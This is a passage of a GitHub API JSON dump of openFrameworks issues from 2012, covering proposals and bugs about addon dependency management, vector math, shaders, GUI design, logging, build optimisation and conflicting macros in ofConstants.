Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","id":3614231,"number":1062,"title":"regularize code for math addons","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-03-12T16:33:06Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","id":3596240,"number":1052,"title":"ofShader should show an error when using an invalid name","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-10T17:52:58Z","updated_at":"2012-08-23T06:42:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","id":3587808,"number":1047,"title":"opening video files with system dialog in osx prevents them to play correctly","user":{"login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","html_url":"https://github.com/hvfrancesco","followers_url":"https://api.github.com/users/hvfrancesco/followers","following_url":"https://api.github.com/users/hvfrancesco/following","gists_url":"https://api.github.com/users/hvfrancesco/gists{/gist_id}","starred_url":"https://api.github.com/users/hvfrancesco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hvfrancesco/subscriptions","organizations_url":"https://api.github.com/users/hvfrancesco/orgs","repos_url":"https://api.github.com/users/hvfrancesco/repos","events_url":"https://api.github.com/users/hvfrancesco/events{/privacy}","received_events_url":"https://api.github.com/users/hvfrancesco/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-03-09T18:54:28Z","updated_at":"2012-03-12T15:31:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","id":3528378,"number":1039,"title":"make icons for OF apps","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-03-06T17:56:58Z","updated_at":"2012-03-20T16:11:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","id":3510933,"number":1037,"title":"ofxGui, ofxButton should look visually different to toggle","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-05T18:06:03Z","updated_at":"2012-03-06T15:32:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","id":3509628,"number":1036,"title":"ofxGui -> ofGui - how/should we bring into core?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2012-03-05T16:56:26Z","updated_at":"2012-07-27T05:34:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","id":3495602,"number":1034,"title":"projectGenerator ignores shader .vert and .frag files","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-04T11:19:04Z","updated_at":"2012-03-12T12:39:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","id":3495503,"number":1033,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2012-03-04T10:54:12Z","updated_at":"2012-03-06T15:06:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","id":3476540,"number":1022,"title":"Optimisation consistency","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-03-02T13:25:15Z","updated_at":"2012-03-30T16:34:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","id":3462226,"number":1019,"title":"ofFbo needs consideration as far as MRT + MSAA","user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-03-01T19:42:09Z","updated_at":"2012-03-01T19:42:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","id":3438233,"number":1007,"title":"bug #defines in ofConstants conflict with other libraries","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-02-29T15:31:18Z","updated_at":"2012-03-01T04:33:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for 